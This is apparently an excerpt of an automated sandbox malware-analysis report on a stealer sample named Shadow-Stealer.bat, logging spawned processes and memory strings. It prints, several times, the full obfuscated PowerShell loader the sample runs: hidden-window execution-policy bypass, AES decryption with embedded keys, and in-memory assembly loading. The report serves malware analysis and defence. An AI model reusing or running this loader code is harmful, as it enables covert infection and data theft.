$fswzf.dispose(); $fswzf.toarray();}function vzvjz($lwtxx,$kawoq){ $kxipu=[system.reflection.assembly]::load([byte[]]$lwtxx); $oppdg=$kxipu.entrypoint; $oppdg.invoke($null, $kawoq);}$xcaug1 = new-object system.security.cryptography.aesmanaged;$xcaug1.mode = [system.security.cryptography.ciphermode]::cbc;$xcaug1.padding = [system.security.cryptography.paddingmode]::pkcs7;$xcaug1.key = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('tm3zfpdkmzynpmflqy1uvewzay6dhwgl3hpqgmb2tk0=');$xcaug1.iv = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('zumramter/3la6uhcth1gg==');$qsfqp = $xcaug1.('rotpyrcedetaerc'[-1..-15] -join '')();$umirz = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('2twxifmv1jwyz0b8bphefa==');$umirz = $qsfqp.('kcolblanifmrofsnart'[-1..-19] -join '')($umirz, 0, $umirz.length);$umirz = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($umirz);$pyyqa = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('p05ztwckumfos2q8ryos+fixy2dyphhbyygl6z+cec8=');$pyyqa = $qsfqp.('kcolblanifmrofsnart'[-1..-19] -join '')($pyyqa, 0, $pyyqa.length);$pyyqa = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($pyyqa);$roofg = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('sy8hcjtfka/mf4hph+go6g==');$roofg = $qsfqp.('kcolblanifmrofsnart'[-1..-19] -join '')($roofg, 0, $roofg.length);$roofg = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($roofg);$tgmgc = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('buxxfqry1rop0b/roy4prlv7xh6eywkql6uot7vtjfzgnba4dmwvrz0rekh6tsw5e4dar7n8ykyorgfhmfzdschzoelrp0gmf7penq75exbqf+3j4n1ljy1xzypyejfwvjgbjvqe3cpowhnqattyty/6ujgytqqhsjigqqdcvjycexpvlg1ktaidhwbcleghzlplvk+ntj2pyl6wysfa3i8rptdz3r9ivjabt8a6toqzrs2q9nm/2k1/irfutdkvpptyy9cd0jq4mto7gdnvluac8kjm0rawso8rwa3zkjnyb
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\Shadow-Stealer.bat.exe "shadow-stealer.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function pxqky($ammuc){ $qaumi=[system.security.cryptography.aes]::create(); $qaumi.mode=[system.security.cryptography.ciphermode]::cbc; $qaumi.padding=[system.security.cryptography.paddingmode]::pkcs7; $qaumi.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('loy14lths3sgwk7zmlm+u1lasbd9l9+grtu5mlzp2mm='); $qaumi.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('ls2ypgjebrtrew/fjyl2oq=='); $lsyot=$qaumi.createdecryptor(); $return_var=$lsyot.transformfinalblock($ammuc, 0, $ammuc.length); $lsyot.dispose(); $qaumi.dispose(); $return_var;}function yapup($ammuc){ $bpqpy=new-object system.io.memorystream(,$ammuc); $muxyl=new-object system.io.memorystream; $qrzer=new-object system.io.compression.gzipstream($bpqpy, [io.compression.compressionmode]::decompress); $qrzer.copyto($muxyl); $qrzer.dispose(); $bpqpy.dispose(); $muxyl.dispose(); $muxyl.toarray();}function davur($ammuc,$oapri){ $tirdu=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$ammuc); $cmozy=$tirdu.entrypoint; $cmozy.invoke($null, $oapri);}$agzco=[system.io.file]::('txetlladaer'[-1..-11] -join '')('c:\users\user\desktop\shadow-stealer.bat').split([environment]::newline);foreach ($xwgwp in $agzco) { if ($xwgwp.startswith('seroxen')) { $gzelj=$xwgwp.substring(7); break; }}$paqqy=[string[]]$gzelj.split('\');$ahdvx=yapup (pxqky ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($paqqy[0])));$qbiwj=yapup (pxqky ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($paqqy[1])));davur $qbiwj (,[string[]] ('', 'idtznccsreqaeejvuwzutuitglivmfheulstnnuhslwymmxaqk', 'lkizmjcsatthedeyossawnzmofyqejpcytnoxqiuoblpdohijn'));davur $ahdvx (,[string[]] ('', 'idtznccsreqaeejvuwzutuitglivmfheulstnnuhslwymmxaqk', 'lkizmjcsatthedeyossawnzmofyqejpcytnoxqiuoblpdohijn'));	Jump to behavior
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe c:\windows\$sxr-powershell.exe -nologo -noprofile -noninteractive -windowstyle hidden -executionpolicy bypass -command function vohzf($lwtxx){ $xcaug=[system.security.cryptography.aes]::create(); $xcaug.mode=[system.security.cryptography.ciphermode]::cbc; $xcaug.padding=[system.security.cryptography.paddingmode]::pkcs7; $xcaug.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('tm3zfpdkmzynpmflqy1uvewzay6dhwgl3hpqgmb2tk0='); $xcaug.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('zumramter/3la6uhcth1gg=='); $ctnvz=$xcaug.('rotpyrcedetaerc'[-1..-15] -join '')(); $omfgf=$ctnvz.('kcolblanifmrofsnart'[-1..-19] -join '')($lwtxx, 0, $lwtxx.length); $ctnvz.dispose(); $xcaug.dispose(); $omfgf;}function nnkof($lwtxx){ $abmbt=new-object system.io.memorystream(,$lwtxx); $fswzf=new-object system.io.memorystream; $zwqus=new-object system.io.compression.gzipstream($abmbt, [io.compression.compressionmode]::decompress); $zwqus.copyto($fswzf); $zwqus.dispose(); $abmbt.dispose(); $fswzf.dispose(); $fswzf.toarray();}function vzvjz($lwtxx,$kawoq){ $kxipu=[system.reflection.assembly]::load([byte[]]$lwtxx); $oppdg=$kxipu.entrypoint; $oppdg.invoke($null, $kawoq);}$xcaug1 = new-object system.security.cryptography.aesmanaged;$xcaug1.mode = [system.security.cryptography.ciphermode]::cbc;$xcaug1.padding = [system.security.cryptography.paddingmode]::pkcs7;$xcaug1.key = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('tm3zfpdkmzynpmflqy1uvewzay6dhwgl3hpqgmb2tk0=');$xcaug1.iv = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('zumramter/3la6uhcth1gg==');$qsfqp = $xcaug1.('rotpyrcedetaerc'[-1..-15] -join '')();$umirz = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('2twxifmv1jwyz0b8bphefa==');$umirz = $qsfqp.('kcolblanifmrofsnart'[-1..-19] -join '')($umirz, 0, $umirz.length);$umirz = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($umirz);$pyyqa = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('p05ztwckumfos2q8ryos+fixy2dyphhbyygl6z+cec8=');$pyyqa = $qsfqp.('kcolblanifmrofsnart'[-1..-19] -join '')($pyyqa, 0, $pyyqa.length);$pyyqa = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($pyyqa);$roofg = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('sy8hcjtfka/mf4hph+go6g==');$roofg = $qsfqp.('kcolblanifmrofsnart'[-1..-19] -join '')($roofg, 0, $roofg.length);$roofg = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($roofg);$tgmgc = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('buxxfqry1rop0b/roy4prlv7xh6eywkql6uot7vtjfzgnba4dmwvrz0rekh6tsw5e4dar7n8ykyorgfhmfzdschzoelrp0gmf7penq75exbqf+3j4n1ljy1xzypyejfwvjgbjvqe3cpowhnqattyty/6ujgytqqhsjigqqdcvjycexpvlg1ktaidhwbcleghzlplvk+ntj2pyl6wysfa3i8rptdz3r9ivjabt8a6toqzrs2q9nm/2k1/irfutdkvpptyy9cd0jq4mto7gdnvluac8kjm0rawso8rwa3zkjnybbv03aq6fif9zugda03cb0yo24aife5afn+zogdlktwrsyyivpjarzdcbblxkhprynayhbm2a5pmzva2gac2+o8odd180z07f5zl3mywto8	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "c:\windows\$sxr-powershell.exe" -nologo -noprofile -noninteractive -windowstyle hidden -executionpolicy bypass -command [system.diagnostics.process]::getprocessbyid(6400).waitforexit();[system.threading.thread]::sleep(5000); function vohzf($lwtxx){ $xcaug=[system.security.cryptography.aes]::create(); $xcaug.mode=[system.security.cryptography.ciphermode]::cbc; $xcaug.padding=[system.security.cryptography.paddingmode]::pkcs7; $xcaug.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('tm3zfpdkmzynpmflqy1uvewzay6dhwgl3hpqgmb2tk0='); $xcaug.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('zumramter/3la6uhcth1gg=='); $ctnvz=$xcaug.('rotpyrcedetaerc'[-1..-15] -join '')(); $omfgf=$ctnvz.('kcolblanifmrofsnart'[-1..-19] -join '')($lwtxx, 0, $lwtxx.length); $ctnvz.dispose(); $xcaug.dispose(); $omfgf;}function nnkof($lwtxx){ $abmbt=new-object system.io.memorystream(,$lwtxx); $fswzf=new-object system.io.memorystream; $zwqus=new-object system.io.compression.gzipstream($abmbt, [io.compression.compressionmode]::decompress); $zwqus.copyto($fswzf); $zwqus.dispose(); $abmbt.dispose(); $fswzf.dispose(); $fswzf.toarray();}function vzvjz($lwtxx,$kawoq){ $kxipu=[system.reflection.assembly]::load([byte[]]$lwtxx); $oppdg=$kxipu.entrypoint; $oppdg.invoke($null, $kawoq);}$xcaug1 = new-object system.security.cryptography.aesmanaged;$xcaug1.mode = [system.security.cryptography.ciphermode]::cbc;$xcaug1.padding = [system.security.cryptography.paddingmode]::pkcs7;$xcaug1.key = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('tm3zfpdkmzynpmflqy1uvewzay6dhwgl3hpqgmb2tk0=');$xcaug1.iv = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('zumramter/3la6uhcth1gg==');$qsfqp = $xcaug1.('rotpyrcedetaerc'[-1..-15] -join '')();$umirz = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('2twxifmv1jwyz0b8bphefa==');$umirz = $qsfqp.('kcolblanifmrofsnart'[-1..-19] -join '')($umirz, 0, $umirz.length);$umirz = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($umirz);$pyyqa = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('p05ztwckumfos2q8ryos+fixy2dyphhbyygl6z+cec8=');$pyyqa = $qsfqp.('kcolblanifmrofsnart'[-1..-19] -join '')($pyyqa, 0, $pyyqa.length);$pyyqa = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($pyyqa);$roofg = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('sy8hcjtfka/mf4hph+go6g==');$roofg = $qsfqp.('kcolblanifmrofsnart'[-1..-19] -join '')($roofg, 0, $roofg.length);$roofg = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($roofg);$tgmgc = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('buxxfqry1rop0b/roy4prlv7xh6eywkql6uot7vtjfzgnba4dmwvrz0rekh6tsw5e4dar7n8ykyorgfhmfzdschzoelrp0gmf7penq75exbqf+3j4n1ljy1xzypyejfwvjgbjvqe3cpowhnqattyty/6ujgytqqhsjigqqdcvjycexpvlg1ktaidhwbcleghzlplvk+ntj2pyl6wysfa3i8rptdz3r9ivjabt8a6toqzrs2q9nm/2k1/irfutdkvpptyy9cd0jq4mto7gdnvluac8kjm0rawso8rwa3zkjnyb	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\Shadow-Stealer.bat.exe "Shadow-Stealer.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function pXqKy($AMMuC){ $QAuMi=[System.Security.Cryptography.Aes]::Create(); $QAuMi.Mode=[System.Security.Cryptography.CipherMode]::CBC; $QAuMi.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $QAuMi.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('loy14lThS3SgWk7zmlM+U1LaSbD9l9+GRTu5mLzp2mM='); $QAuMi.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lS2YpgJeBrTrEw/fJyL2OQ=='); $LSyot=$QAuMi.CreateDecryptor(); $return_var=$LSyot.TransformFinalBlock($AMMuC, 0, $AMMuC.Length); $LSyot.Dispose(); $QAuMi.Dispose(); $return_var;}function YaPup($AMMuC){ $BpqPy=New-Object System.IO.MemoryStream(,$AMMuC); $MUxyL=New-Object System.IO.MemoryStream; $QRzEr=New-Object System.IO.Compression.GZipStream($BpqPy, [IO.Compression.CompressionMode]::Decompress); $QRzEr.CopyTo($MUxyL); $QRzEr.Dispose(); $BpqPy.Dispose(); $MUxyL.Dispose(); $MUxyL.ToArray();}function dAvUr($AMMuC,$oAPri){ $TIrdu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$AMMuC); $cmozY=$TIrdu.EntryPoint; $cmozY.Invoke($null, $oAPri);}$agzCo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\Desktop\Shadow-Stealer.bat').Split([Environment]::NewLine);foreach ($xWgWP in $agzCo) { if ($xWgWP.StartsWith('SEROXEN')) { $gZeLJ=$xWgWP.Substring(7); break; }}$paQQY=[string[]]$gZeLJ.Split('\');$ahdVx=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[0])));$qbiwj=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[1])));dAvUr $qbiwj (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dAvUr $ahdVx (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{2ca74e05-00fd-4f33-afb0-1baa728859ba}	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{a795ed5e-f9f8-4b9c-9e39-bf732c676d16}	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{3885b722-1a15-44b5-b09d-ff91e5413f87}	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{99a849d9-b898-48bd-a9ae-8d2739f763c9}	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process created: C:\Windows\$sxr-cmd.exe "C:\Windows\$sxr-cmd.exe" /c %$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%	Jump to behavior
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{8c0db931-f9fd-42d4-a5c0-43590a2016f6}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{c14234ed-73ac-4d78-a200-79518435a2b0}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(6400).WaitForExit();[System.Threading.Thread]::Sleep(5000); function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYB	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{cbe0811f-76a5-44cc-bdc5-f8341ab968a9}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{e8c47de4-1fa8-45ae-ba48-1e652857c9f1}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{38d5fde3-99ae-4373-8c2f-8b4f5f08f7f3}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{92e841ec-e3f1-4b8b-895f-b885255cbce1}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{25768c7a-7ac5-4718-a464-d7bd931650f7}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{2e416721-4f03-488b-85bf-d48d4305e55d}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{6cf183fd-4345-4e83-86c3-b67edbc5a93f}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{b21552e6-10c0-4b77-8348-e34fa993b74e}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{408c66d6-6f69-434f-838a-86e87b4371ae}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{205dcea9-d057-463c-a3cf-998f0b1939dc}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{a65f9779-a778-403b-96e3-bdb0de023251}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\dllhost.exe

Code function: 23_2_00401BC6 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

23_2_00401BC6

Source: C:\Windows\SysWOW64\dllhost.exe

Code function: 23_2_00401BC6 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

23_2_00401BC6

Source: winlogon.exe, 00000016.00000000.2484058011.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000016.00000002.3372155611.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001A.00000000.2490600186.000001D154AB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: dwm.exe, 0000001A.00000002.3406365855.000001D159439000.00000004.00000001.00020000.00000000.sdmp, dwm.exe, 0000001A.00000000.2498836739.000001D159439000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 00000016.00000000.2484058011.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000016.00000002.3372155611.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001A.00000000.2490600186.000001D154AB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000016.00000000.2484058011.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000016.00000002.3372155611.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001A.00000000.2490600186.000001D154AB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000016.00000000.2484058011.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000016.00000002.3372155611.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001A.00000000.2490600186.000001D154AB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

